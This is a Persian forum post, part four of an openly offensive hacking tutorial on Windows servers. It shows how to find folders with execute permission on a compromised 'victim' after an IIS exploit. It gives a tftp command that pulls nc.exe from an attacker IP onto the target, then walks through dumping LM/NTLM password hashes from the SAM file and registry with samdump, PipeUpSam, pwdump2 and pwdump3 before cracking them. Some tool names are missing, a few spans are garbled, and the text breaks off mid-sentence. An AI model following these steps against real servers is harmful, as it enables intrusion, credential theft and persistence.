0

آموزش های تخصصی شبکه و امنیت و ضد امنیت

 
amindadaadad
amindadaadad
کاربر طلایی3
تاریخ عضویت : دی 1389 
تعداد پست ها : 3567
محل سکونت : سیستان و بلوچستان

پاسخ به:آموزش های تخصصی شبکه و امنیت و ضد امنیت
پنج شنبه 26 مرداد 1391  2:27 AM

ضروريات ويندوز سرور براي متخصصين - قسمت چهارم 
- يادآوري

اين مقاله ادامه مقاله قبلي‌ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه‌اي که هست نداريم.


- فولدرهايي از ويندوز با مجوز اجرا

فرض کنيد که الان از طريق روشي توانستيد مجوز ايجاد يا کپي کردن فايلي رو در تعدادي از فولدرهاي ويندوز قرباني بدست بياوريد. در اين گونه موارد هدف اينه که فولدري رو پيدا کنيم که براي ما با مجوزي که الان داريم (مثلا guest )، اجازه اجرا ( execute ) رو بده. دليلش مشخصه، مثلا اگه الان با guest وارد شديد، ممکن است بخواهيد که به سطح Admin برسيد. اين کار ممکنه با دستورات خود ويندوز ممکن نباشه و شما مجبور شويد که يه فايل اجرايي رو به کامپيوتر قرباني کپي کنيد تا با اجراي اون شما از guest به Admin برسيد. حالا اگه اين فايل خلافکار! رو به فولدري کپي کنيد که مجوز اجرا رو براي اکانت شما نداشته باشه، عملا نمي‌تونيد از اون فايل استفاده کنيد. افتاد؟
درس قبلي يک سري ابزار از NTRK معرفي کردم که اسمشون ابزارهاي بررسي مجوزهاي NTFS بود ( از جمله perms و showacls ). از اين‌ها هم در اين مرحله نمي‌تونيد استفاده کنيد. اگه گفتيد چرا؟ درسته! چون اين‌ها هم به هر حال يک سري ابزار و نرم‌افزار خارجي هستند ( يعني به طور پيش‌فرض در خود ويندوز وجود ندارند ) و از طرف ديگه ابزارهاي لوکال هستند ( يعني براي استفاده بايد به کامپيوتر قرباني کپي شوند ) و واضحه که بايد به فولدري کپي بشوند که مجوز اجرا داشته باشه و چون من نمي‌دونم کدوم فولدر مجوز اجرا داره، نمي‌تونم از اين‌ها استفاده کنم! ( اين ابزارها هم کاربردهايي دارند که گاه خيلي مهمه، عجله نکنيد! )
خوب حالا من چکار مي‌تونم بکنم؟
روش اول کوشش و خطاست. اين بدترين راه و گاه موثرترين راه حل‌ است! يعني مثلا يه فايل کوچک رو تو فولدرهاي مختلف کپي کنم و ببينم که کدومشو مي‌تونم اجرا کنم ( يعني کدوم فولدر به اون فايل اجازه اجرا مي‌ده ). اين روش نيازي به توضيح نداره چون ايراني‌ها خداي اين کاران 
روش بهتر اينه که من با دانشي که دارم بدونم که معمولا چه فولدرهايي مجوز اجرا رو به من مي‌دهند. که الان مي‌خوام اينو بگم:

۱- اگه با يک باگ مربوط به IIS به شل دست يافته‌ايد، معمولا يکي از اينها رو انتخاب کنيد: �:\inetpub\scripts:\program files\common files\system\msadcمنظور از (؟) در موارد بالا اينه که ممکنه که فولدر مربوطه در هر درايوي باشه ( مثلا درايو C يا D و...) و ممکنه لازم باشه يه کم بگرديد که پيداش کنيد. نکته بعدي اينه که فولدرهايي که گفتم اين اجازه رو مي‌دن که هم فايل اجرايي ( با پسوند exe ) و هم اسکريپت‌ها ( مثل asp و ... ) در اونا بذاريم و اجرا کنيم. دقت کنيد که خيلي کارها رو ميشه بدون کمک فايل اجرايي ( فايل خرابکار ) انجام داد. مثلا اگه قرار باشه صفحه اول سايتي عوض بشه، اين کار رو گاه ميشه با اسکريپت‌ها هم انجام داد. بنابراين اين پايين ليست فوادرهايي رو براتون مي‌گم که فقط اجازه اجراي اسکريپت رو مي‌دهند ( نه اجراي فايل اجرايي! ) : �:\winnt\help\iishelp:\inetpub\iissamples%SystemRoot%\System32\inetsrv\iisadmin%SystemRoot%\System32\inetsrv\iisadmpwd%SystemRoot%\web\printersتوضيح لازم اينه که وقتي مي‌گم %SystemRoot% منظور همون فولدري است که ويندوز در اون نصب شده، بنابراين مي‌تونه مثلا C:\WINNT باشه يا H:\WINDOWS باشه و يا هر چيز ديگه. ما از همون عبارت %SystemRoot% که استفاده کنيم خودش ما رو مي‌بره همونجا !
حالا چرا باگ‌هاي IIS رو جدا کردم؟ دليلش اينه که بعضي از اين باگ‌ها وقتي ازشون سوءاستفاده بشه، به ما اختياراتي در حد IUSR_xxxxx-yyyyy ميده ( که قبل گفتم اين چيه ) و اختيارات در حد Admin نيست. بنابراين از اين فولدرهاي خاص استفاده کرديم. 

۲- اگه با باگ‌هاي غير از IIS به شل دست پيدا کرديد، انتخاب فولدر درست معمولا بستگي به اين داره که چه سرويس ( و پورتي ) رو exploit کرده‌ايم و به چه اکانتي دست پيدا کرده‌ايم. اگه دسترسي ما کامل باشه ( يعني در حد Admin باشه ) بهترين فولدر براي قرار دادن و اجراي فايل‌هاي اجرايي اين فولدرهاست:%SystemRoot%%SystemRoot%\system32اگه با اکانتي که بدست آورده‌ايد به اين فولدرها دسترسي نداريد ( مثلا از طريق NetBIOS با يک اکانت محدود وارد شده‌ايد ) بهتره همون روش ايراني! ( کوشش و خطا ) رو پيش بگيريد.

آخرين نکته‌اي که بايد اينجا بگم، اينه که وقتي مي‌خواين از طريق tftp فايل اجرايي رو بفرستيد روي اون فولدر خاص، بايد آدرس فولدر رو هم آخر دستور مربوط به tftp بنويسيد. مثلا اگر IP ما در اين لحظه 217.66.198.116 باشه، و بخوام فايل nc.exe رو بفرستم به فولدر c:\inetpub\scripts بايد بنويسم: tftp -i 217.66.198.116 GET nc.exe c:\interpub\scripts\nc.exeيعني وقتي سرور قرباني فايل رو مي‌گيره، اونو تو اين فولدر که مشخص کردم قرار بده ( و نه فولدر فعلي ). 


- بدست آوردن username و password ها در حالت دسترسي local

تاکيد مي‌کنم که بحث ما در اينجا پسوردهاي Active Directory نيست بلکه پسوردهاي لوکال خود کامپيوتر است. فرض کنيد که من الان يه فولدر پيدا کرده‌ام که به من اجازه اجراي فايل‌هايي که داخلش فرستادم رو مي‌ده. ( يعني همون‌ چيزي که بالا بهش اشاره کردم ). من ممکنه بخوام پسورد‌هاي اين ويندوز سرور رو پيدا کنم تا اگه احيانا فردا پس‌فردا اون باگي که انگولکش کردم، توسط مسوول سرور برطرف شد، دستم به يه جايي بند باشه!! يا اينکه بخوام حتما پسورد اکانت خاصي مثل Administrator رو بدست بيارم که خيلي مهمه. براي کشف پسوردها اول بايد بدونيد که پسورد فلان اکانت، چطوري و کجا در ويندوز نگهداري ميشه و چه مراحلي طي ميشه تا يه پسورد از شکل اوليه يعني plain-text ( يعني خود پسوردي که واسه اکانت انتخاب شده ) تبديل بشه به يه پسورد hash شده ( يعني رمز بشه ) و بعد در ويندوز ذخيره بشود:

۱- پسورد بايد رمز شود و پسورد به صورت hash شده در آيد. ويندوز از دو روش براي hash استفاده مي‌کند:
الف) LanMananager Hash يا LANMAN Hash يا LMhash :
اين روش hash کردن روشي‌است که در ويندوزهاي قديمي ( قبل از NT هاي جديد يعني در 3.1 ، 95، 98، Me و NT هاي قديمي ) استفاده مي‌شده است و هنوز هم ساپورت مي‌شود. اين روش hash کردن پسورد اولين بار توسط IBM استفاده شد ولي مشکلات امنيتي زيادي داره ( يه بار مايکروسافت خواست خودش گاف نده، ايندفه با گاف IBM رفت تو چاه! ). در اين روش hash کردن حداکثر طول پسورد مي‌تونه ۱۴ حرف باشه. يه مثال مي‌زنم. فرض کنيد که قرار پسوردي به اسم thepassword ذخيره بشه، چون طول اين پسورد از ۱۴ حرف کمتره، انقدر 0 به آخر پسورد اضافه ميشه که ۱۴ حرفي بشه ( منظور از 0 در اينجا کارکتر عددي صفر نيست بلکه منظور چيزي است که در برنامه‌نويسي بهش NULL مي‌گيم و ما براي سادگي کار اونو با همون کاراکتر 0 نشون داده‌ايم ) ، يعني پسورد ميشه: thepassword000 حالا اتفاقي که مي‌افته اينه که حروف کوچک انگليسي به حروف بزرگ تبديل ميشه، يعني حالا داريم: THEPASSWORD000 و بعد اين رشته به دو رشته ۷ کاراکتري تقسيم ميشه، يعني: THEPASS و WORD000 بعد مي‌آد و هر کدوم رو با يه الگوريتم يک طرفه ( يعني غير قابل برگشت ) رمز مي‌کنه بعد کنار هم مي‌چينه و يه رشته ۳۲ کاراکتري ( به صورت Hex ) نتيجش مي‌شه، مثلا پسورد مورد نظر ما به صورت 7C349F26F362950F05382367BF6677B7 در مياد. اين ميشه اولين روش hash که بهش LM مي‌گويند. مشکلات اين روش ذخيره سازي اينه که اولا طول پسورد حداکثر ۱۴ حرف‌ه، ثانيا اين روش case insensive ه يعني حروف بزرگ و کوچک فرقي نداره، ثالثا چون پسورد به دو قسمت ۷ تايي تقسيم ميشه، مي‌شه هر کدوم رو به تنهايي crack کرد، رابعا مشکلي به دليل نبودن salt هست در اين روش که در آخر مقاله بحث مي‌کنم که چيه.
ب) روش NT hash يا NTLM hash: 
روش بهتري است، در اين روش از الگويتم MD4 استفاده ميشه ( مثل اکثر يونيکس‌ها ) و نتيجه باز هم يه رشته ۳۲ کاراکتري است. تمام موارد ايرادي که در بالا بود ( يعني اولا و ثانيا و ثالثا ) حل شده ولي مشکل رابعا هنوز هم هست!
حالا اين رابعا ( نبودن salt ) چي‌ هست؟ از قديم الايام معلوم بوده که مايکروسافت بعد از hash کردن پسوردها از salt (نمک!) استفاده نمي‌کنه. اين باعث ميشه که اگه دو تا کامپيوتر باشه که در هر دو پسورد اکانت guest مثلا thepassword باشه (يعني دو کامپيوتر مختلف از يک پسورد واحد استفاده کنند)،‌ نتيجه hash اون در هر دو يکسان بشه. يعني اينکه وقتي يه رشته خاص رمز بشه، نتيجه نهايي هميشه يکسان است ( يعني هميشه LM ها شبيه به هم و NT ها هم شبيه به هم خواهند بود). و اين به نفع هکره  در سيستم‌هاي شبه‌يونيکس، به دليل اضافه کردن نمک! ، 4096 جور مختلف مي‌شوند و اين باعث ميشه، کار کرک کردن به همين اندازه بيشتر بشه.
نکته بعدي که هست اينه که چرا با وجود اينکه روش NTLM از LM بهتره، چرا هنوز هم LM ساپورت ميشه؟ دليلش اينه که براي حفظ سازگاري هنوز هم استفاده مي‌شه. مثلا اگه قرار باشه يه ويندوز 98 به يه ويندوز 2000 کانکت بشه، بايد 2000 بتونه هويت‌سنجي و اتصال رو انجام بده. اگه همه ويندوزها در شبکه مدل بالا! باشند، ميشه LM رو غير فعال کرد.

۲- حالا ما هم نتيجه hash شده پسوردها رو داريم، کجا بايد اينها ذخيره بشوند:
الف) فايل SAM :
ويندوز سرورها براي ذخيره کردن اکانت‌هاي لوکال از فايلي به اسم SAM استفاده مي‌کنند. ( ويندوز‌هاي غير NT ها از فايل‌هاي PWL استفاده مي‌کردند). فايل اصلي SAM اينجاست:%SystemRoot%\System32\Config\مي‌تونيد نگاه کنيد تا مطمئن بشيد که هست! يه مطلبي که هست اينه که وقتي با ويندوز بالا اومديد، فايل SAM مربوط به اون به صورت protected يا حفاظت شده است. در نتيجه نمي‌تونيد همين‌طوري مثلا کپي کنيد يا بخونيد. دقت کنيد که فايل SAM هيچ‌گونه پسوندي ندارد.
يه مورد ديگه هم هست که بايد دقت کنيد، گاهي يک نسخه compressed از فايل SAM به اسم _.SAM در دايرکتوري SystemRoot%\repair% وجود دارد که از اون هم ميشه استفاده کرد. ( اين فايل موقع backup گيري از اطلاعات سيستم توسط ابزار rdisk ايجاد مي‌شود ) جزئياتش مهم نيست، فقط چک کنيد ببينيد که همچين فايلي اونجا هست يا نه  حتي گاهي مي‌تونيد يه کپي ( غير فشرده يا غير compressed رو ) در اين فولدر پيدا کنيد .
ب) رجيستري:
يک سري کليد و ورودي در رجيستري هست که اگرچه کاربرد زيادي براي سيستم‌عامل دارند ولي به صورت hidden هستند ( يعني به راحتي قابل مشاهده و تغييير نيستند). از جمله اين کليدها، اون‌هايي هستند که اطلاعاتي شبيه به SAM رو در خود دارند ( يعني LM hash, username و NT hash ). که براي يک هکر ارزشمند است.
ج) Active Directory:
در شبکه‌اي از ويندوز سرورها، AD براي نگهداري پسوردهاي دومين و گروه‌هاي global به کار مي‌رود ( البته در ويندوز ۲۰۰۰، نه در NT 4.0 ، زيرا در NT 4.0 در هر حال طرف حساب ما يا SAM است يا registery ). فعلي بحث ما اين چيزها نيست!

يه مطلبي هست راجع به SYSKEY که بايد توضيح بدم. يک تکنولوژي! جديد است که فکر کنم از SP2 ( يعني Service patch شماره ۲ ) از ويندوز NT 4.0 به بعد اعمال مي‌شود و در نتيجه در مورد ويندوز ۲۰۰۰ هم ( با يا بدون سرويس پچ ) وجود دارد. کارش هم اين است که پسوردهاي ذخيره شده ( در رجيستري ) را يه بار ديگه رمز مي‌کند تا امنيتش زياد شود.


خوب حالا برسيم به کار عملي!
من کل عمليات تغيير و ذخيره پسورد در ويندوز سرورها رو در ۲ مورد خلاصه کردم که خونديد. حالا ما بايد عمل عکس رو انجام بديم تا به پسورد برسيم. در نتيجه 

۱- اولين کار ما اينه که بتونيم از فايل SAM و يا از رجيستري، username ها و LM ها و NTLM ها رو در بياريم. به اين کار به طور کلي DUMP کردن يا Extract کردن مي‌گويند. يه مثال مي‌زنم که خوب متوجه بشين. فرض کنيد که اکانتي دارم به اسم guest که پسورد اون thepassword است. چيزي که مي‌خوام با dump کردن بهش برسم، چيزي مثل اينه: guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8 F2A5884059 49DE0917CC19F8DD:::البته به تعداد اکانت‌هاي محلي که در کامپيوتر قرباني وجود دارد، يه سطر داده مثل اين بالايي هست. اينجا چهار داده مهم داريم، اولي اسم اکانت است، بعد يه دونقطه ( داريم و بعد يه عدد که نشون مي‌ده اين اکانت يازدهيم اکانتي است که در اين کامپيوتر ايجاد شده است ( اولين اکانت عدد ۱۰۰۰ دارد )، بعد دوباره دونقطه داريم، بعد LM hash رو داريم يعني 7C349F26F362950F05382367BF6677B7 بعد دوباره دونقطه و بعد NTLM hash يعني 9D5DF8F2A588405949DE0917CC19F8DD 
يه مطلب فوق‌‌العاده مهم اينجا هست که بايد بگم، اونم اينه که در تمام مواردي که مي‌خواهيم DUMP کنيم، بايد اولا لوکال باشيم ( يعني بايد ابزار کار رو به کامپيوتر هدف بفرستيم و اونجا به کمک يه shell اونو اجرا کنيم ) و ثانيا بايد اختيارات ما در حد Administrator باشه ( يعني در واقع بالاترين سطح اختيارات رو داشته باشيم ). پس همه اين موارد واسه اينه که ما بتونيم با بدست آوردن پسورد اکانت‌هاي مختلف بتونيم مدت بقاي خودمون رو در اين سرور افزايش بديم. خوب حالا وقتشه که شروع کنيم:

الف) Dump کردن از فايل SAM :
اين کار رو مي‌تونيم به دو روش انجام بديم.
+ روش اول: 
در اين روش بايد يه کپي از فايل SAM رو گير بياريم. اين نسخه رو به هر روشي ميشه گير آورد مهم اينه که اين فايل SAM نمي‌تونه خود فايلي باشه که در محل اصلي به صورت محافظت شده نگهداري مي‌شه، بلکه بايد يه کپي از اون باشه. روش‌هاي زيادي واسه بدست آوردن اين فايل هست:
» مي‌تونيد به کمک يک فلاپي درايو bootable مربوط به ويندوز ۹۸ و به کمک ابزاري به اسم ntfsdos اين کار رو انجام بديم. ( به درد ما نمي‌خوره چون ما دسترسي فيزيکي به سرور نداريم ) در اين حالت ديگه اون فايل SAM اصلي محافظت شده نيست چون با سيستم‌عامل ديگري بالا اومديم و مي‌تونيم اون فايل اصلي رو يه نسخه اش کپي کنيم.
» مي‌تونيم از فايل backup شده SAM يعني _.SAM که در آدرس SystemRoot%\repair\% بود استفاده کنيم. به اين ترتيب که اين فايل که هيچ محافظتي ازش نميشه رو به يه جايي کپي کنيم و بعد دستور زير رو اجرا کنيم: expand sam._ samدقت کنيد که expand يکي از ابزارهاي NTRK است. با اين دستور مثل اينه که يه نسخه معادل sam رو ( با اون اکانت‌هايي که موقع آخرين backup گيري داشته‌ايم ) ايجاد مي‌کنيم که مي‌تونيم ازش استفاده کنيم.
» و...
حالا که يه نسخه از فايل SAM رو داريم که معادل فايل SAM اصلي است، مي‌تونيم از ابزاري به اسم  استفاده کنيم. مثلا اگر فايل SAM ي که ايجاد کرده‌ايم در آدرس c:\folder باشه و اسمش هم باشه SAM ، براي dump کردن hash ها مي‌نويسيم: samdump c:\folder\SAMو جواب مي‌گيريم: Administrator:500:CD9112302C53CECC7C3113B4A1A5E3A0 :F873525F3 52BCF1243B83938AC28A147:::ali:1009:NO PASSWORD*********************:NO PASSWORD*********************:::guest:1011:7C349F2 6F362950F0 5382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:: :,...کا� �لا واضحه و نيازي به توضيح نداره. اگه مي‌خواستيم که اطلاعات در فايلي ذخيره بشه به اسم مثلا hash.txt بايد مي‌نوشتم: samdump c:\folder\SAM > hash.txtوقتي SYSKEY نصب شده باشد ( مثلا در ويندوز ۲۰۰۰ اينطوريه ) ديگه samdump نمي‌تونه کاري بکنه و عملا بدرد نمي‌خوره.

+ روش دوم:
استفاده از نقاط ضعف و اکسپلويت‌کردن آنها. يه مثال ساده هست که در ويندوز ۲۰۰۰ کار مي‌کنه. در اين روش کافي است از برنامه‌اي به نام PipeUpSam ( که ميشه گفت يه جور exploit است، استفاده کنيد ). اين ابزار خيلي قشنگ مياد و فقط با اجراي دستور زير مي‌تونه اين اطلاعات رو از فايل SAM بگيره و مثلا در فايلي به اسم hash.txt ذخيره کنه:pipeupsam hash.txtاون سايتي که من قبلا اين فايل رو ازش گرفتم، فعلا کرکره‌اش پايينه! تو اينترنت بگرديد و فايل رو پيدا کنيد.

ب) Dump کردن از رجيستري:
ملاحظه فرموديد که Dump کردن از فايل SAM معمولا دنگ‌وفنگ داره ( البته بجز اون روشي که توسط PipeUpSam بودش). به هر حال راه ساده براي Dump کردن اين hash ها هست که اون هم از طريق رجيستري است. همون‌طور که گفتم، کليد‌هاي مربوطه در رجيستري به صورت hidden است و نمي‌تونيد با روش‌هاي معمول چيزي ازش بخونيد ولي مي‌تونيد به کمک ابزارهايي اين کار رو انجام بديد:
+ وقتي SYSKEY نصب نشده است:
اين حالت وقتي پيش مياد که قراره پسوردها رو از رجيستري يه کامپيوتر NT 4.0 و قبل از SP2 بگيريم. در اين حالت ابزار  رو به کار مي‌بريم. کافي است بنويسيم:pwdumpو نتايج بياد يا مي‌تونيم اينا رو در فايلي به اسم hash.txt ذخيره کنيم، با اين دستور: pwdump > hash.txt+ وقتي SYSKEY نصب شده باشد:
در ويندوز ۲۰۰۰ به صورت پيش‌فرض اينگونه است. براي اين کار مي‌تونيد از ابزاري به اسم pwdump2 استفاده کنيد که همو همدارد. در هر دو نسخه، اسم فايل‌هاي اصلي pwdump2.exe و samdump.dll است که بايد هردو به سرور قرباني کپي شوند ( در يه فولدر خاص ) تا کار کنند. فرق نسخه قديمي با جديد اسن است که در نسخه قديمي بايد يه فايل از NTRK به اسم pulist را هم به همان فولدر کپي کنيد و ازش استفاده کنيد. مراحل زير رو بايد طي کنيد:
:: اگر نسخه قديمي رو استفاده مي‌کنيد، اول مي‌نويسيد: pulist | find "lsass" و مثلا جواب مي‌شنوم: lsass.exe 63 NT ...اين دستور مياد و Process ID يا همون PID مربوط به lsass.exe رو پيدا مي‌کند تا بعد بتونيم از اين PID استفاده کنيم. در اينجا PID مربوطه، 63 است. اين مرحله لازم نيست در صورتيکه از نسخه جديد استفاده مي‌کنيد.
:: حالا بايد pwdump2 رو اجرا کنيم. اگه نسخه قديمي باشد، مي‌نويسيم: pwdump2 63که ۶۳ همان PID است که بدست آورده‌ايم. ولي اگر نسخه جديد باشد، لزومي نيست که PID رو بدست بياوريم، بلکه با دستور زير کار تمام است: pwdump2و ليست hash ها مياد، مي‌تونستيم اطلاعات رو در يک فايل ذخيره کنيم، مي‌نوشتيم: pwdump2 > hash.txtبه همين راحتي!

نکته: يه ابزاري هست به اسمو ياو يا (هر سه فايل زيپ، حاوي فايل‌هاي pwdump3.exe و pwservice.exe و lsaExt.dll ) فرق اين pwdump3 با pwdump هاي ديگر، اين است که وقتي که pwdump3 اجرا شود، به صورت remote کار مي‌کند. به اين ترتيب که مثلا username ( در حد اکانت‌هاي Admin ) رو مشخص مي‌کنيم و با اجراي pwdump3 ، از ما پسورد مي‌خواهد (يعني بايد username و password رو داشته باشيم) و اتصال برقرار شده (اتصال از نوع netbios ) و بعد دو فايل ديگر رو مي‌فرستد به سرور و بعد يک سرويس تشکيل مي‌دهد که به صورت remote مي‌تونه اين hash ها را براي ما بفرستد. ( بعد از فرستادن اطلاعات، فايل‌ها پاک شده و سرويس نيز ار بين مي‌رود ). براي توصيحات بيشتر مي‌تونيد readme رو در فايل zip بخونيد.

۲) خوب حالا ما تونستيم اين hash ها رو بدست بياريم ( مثلا به شکل يه فايل به اسم hash.txt ) کار بعدي اينه که اين hash رو به کامپيوتر خودمون آورده، و بعد اونو به صورت پسورد واقعي در بياريم. همانطور که گفتم هر دو روش LM و NTLM از الگوريتم‌هاي يک‌ طرفه براي رمز کردن استفاده مي‌کنند و نتيجه اينه که نمي‌شه مستقيما اين hash ها رو به پسورد تبديل کرد. بلکه روش کار اينه که بايد پسوردها رو crack کنيم. به اين ترتيب که ليست بزرگي از پسوردها رو با هر کدام از اين الگوريتم‌ها ( LM يا NTLM ) رمز کرده و نتيجه رو با چيزي که در فايل hash.txt داريم، مقايسه کنيم. اگر يکي بودند، يعني پسورد درست است. حالا روش‌هاي محتلفي که براي crack کردن کاربرد دارند، اينها هستند:
» dictionary attack: در اين روش يک فايل بزرگ که حاوي کلمات زيادي است به کار مي‌رود و با توجه به اينکه تعداد زيادي از مردم از کلمات معنادار استفاده مي‌کنند، ممکن است به جواب برسه. اين فايل‌هاي ديکشنري رو در درس مربوط به پورت ۱۳۹ گفتم از کجا مي‌تونيد پيدا کنيد.
» Brute Force: در اين روش تمام حالات ممکنه رو امتحان مي‌کنيم، مثلا از پسوردهاي يک کاراکتري شروع مي‌کنيم و تمام حالات ممکنه رو تست مي‌کنيم و اگه جواب نداد ۲ حرفي و ... مشخصه که اين روش بسيار کنده. ولي اگه مثلا بدونيم پسوردي که فلان فرد استفاده مي‌کنه، چند حرفيه، مي‌تونيم کار رو کمي سريع‌تر کنيم...
» Syllable attack: در اين روش يک کلمه به سيلاب‌هاش تقسيم شده و بين اين‌ها کاراکترهايي قرار داده ميشه و نتيجه تست ميشه. بعضي افراد از چنين پسوردهايي استفاده مي‌کنند.
» Hybrid يا rule based: در اين روش از يک سري اصول استفاده مي‌کنيم مثلا تمام پسوردهايي که حروف اولش يک کلمه انگليسي باشه و بعد از اون مثلا تا سه حرف رندوم. ميشه گفت ترکيب dictionary و brute force است.
» و...
حالا که با روش‌هاي crack آشنا شديد، وقتشه که چند ابزار واسه اين کارها معرفي کنم:
الف- L0pht Crack :
مشهورترين ابزار کرک کردن پسوردهاي hash شده است که واسه سيستم‌عامل ويندوز طراحي شده است. اين ابزار نسخه پولي دارد به اسم LC4 که گرافيکي است ( با trial براي ۱۵ روز ) و نيز نسخه خط‌فرماني مجاني و Open

تشکرات از این پست
دسترسی سریع به انجمن ها